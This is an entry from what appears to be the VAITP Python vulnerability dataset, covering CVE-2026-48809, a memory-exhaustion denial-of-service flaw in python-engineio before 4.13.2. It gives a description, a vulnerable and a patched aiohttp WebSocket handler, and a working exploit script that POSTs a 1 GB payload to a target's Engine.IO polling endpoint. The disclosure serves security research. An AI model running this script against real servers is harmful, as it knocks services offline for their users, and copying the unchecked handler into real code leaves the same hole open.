CVE-2026-48809
python-engineio vulnerable to DoS via unchecked incoming message size.
- CVSS 7.5
- 770
- Resource Management
- Remote
python-engineio is a Python implementation of the Engine.IO realtime client and server. Versions prior to 4.13.2 have two specific configurations of the python-engineio server in which the size of incoming messages is not checked before the messages are loaded into memory. An attacker can take advantage of these to cause unnecessary memory allocations in the python-engineio server. The two cases are POST requests, when using ASGI with the long polling transport and WebSocket messages, when using Aiohttp with the WebSocket transport. Version 4.13.2 addresses this issue. ASGI severs now only load the body of incoming requests into memory after the client is confirmed to be known and authenticated, and the payload size is below the maximum allowed size. Requests that do not comply with these requirements are discarded. Aiohttp servers configure the maximum payload size in the underlying WebSocket layer from Aiohttp, so that large messages are discarded by Aiohttp before they are delivered to python-engineio.
- CWE
- 770
- CVSS base score
- 7.5
- Published
- 2026-08-11
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- python-engin
- Fixed by upgrading
- Yes
Solution
Upgrade python-engineio to version 4.13.2 or later.
Vulnerable code sample
import aiohttp
from aiohttp import web
class AiohttpManager:
def __init__(self, server):
self.server = server # The engineio.Server instance
async def _websocket_handler(self, request):
"""Handle a WebSocket connection."""
# VULNERABLE: WebSocket messages of unlimited size are accepted, leading to memory exhaustion.
ws = web.WebSocketResponse()
await ws.prepare(request)
sid = 'some_session_id'
while not ws.closed:
try:
msg = await ws.receive()
if msg.type in (aiohttp.WSMsgType.TEXT, aiohttp.WSMsgType.BINARY):
# The large message data is loaded into memory before processing.
await self.server.handle_packet(sid, msg.data)
elif msg.type == aiohttp.WSMsgType.ERROR:
break
except Exception:
break
return wsPatched code sample
import aiohttp
from aiohttp import web
class AiohttpManager:
def __init__(self, server):
self.server = server # The engineio.Server instance
async def _websocket_handler(self, request):
"""Handle a WebSocket connection."""
# FIX: Configure max_msg_size in the underlying WebSocket layer to prevent large payloads.
ws = web.WebSocketResponse(
max_msg_size=self.server.max_http_buffer_size)
await ws.prepare(request)
sid = 'some_session_id'
while not ws.closed:
try:
msg = await ws.receive()
if msg.type in (aiohttp.WSMsgType.TEXT, aiohttp.WSMsgType.BINARY):
# aiohttp now ensures the message size is within the configured limit.
await self.server.handle_packet(sid, msg.data)
elif msg.type == aiohttp.WSMsgType.ERROR:
break
except Exception:
break
return wsPayload
import requests
import sys
# Usage: python exploit.py http://vulnerable-server.com
# This script targets the POST request / ASGI vector.
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target_host = sys.argv[1]
target_url = f"{target_host}/engine.io/?EIO=4&transport=polling"
# Define a large payload size (e.g., 1GB) to cause excessive memory allocation.
# The '4' prefix is the Engine.IO message packet type.
large_payload = b'4' + (b'a' * 1 * 1024 * 1024 * 1024)
headers = {
"Content-Type": "application/octet-stream"
}
try:
# Send the large payload. A vulnerable server will attempt to load this
# entire payload into memory before checking its size, leading to a DoS.
requests.post(target_url, data=large_payload, headers=headers, timeout=5)
except requests.exceptions.RequestException as e:
# An exception (like a timeout) is expected, as the server will likely
# become unresponsive or crash while trying to process the large payload.
pass
Cite this entry
@misc{vaitp:cve202648809,
title = {{python-engineio vulnerable to DoS via unchecked incoming message size.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48809},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48809/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
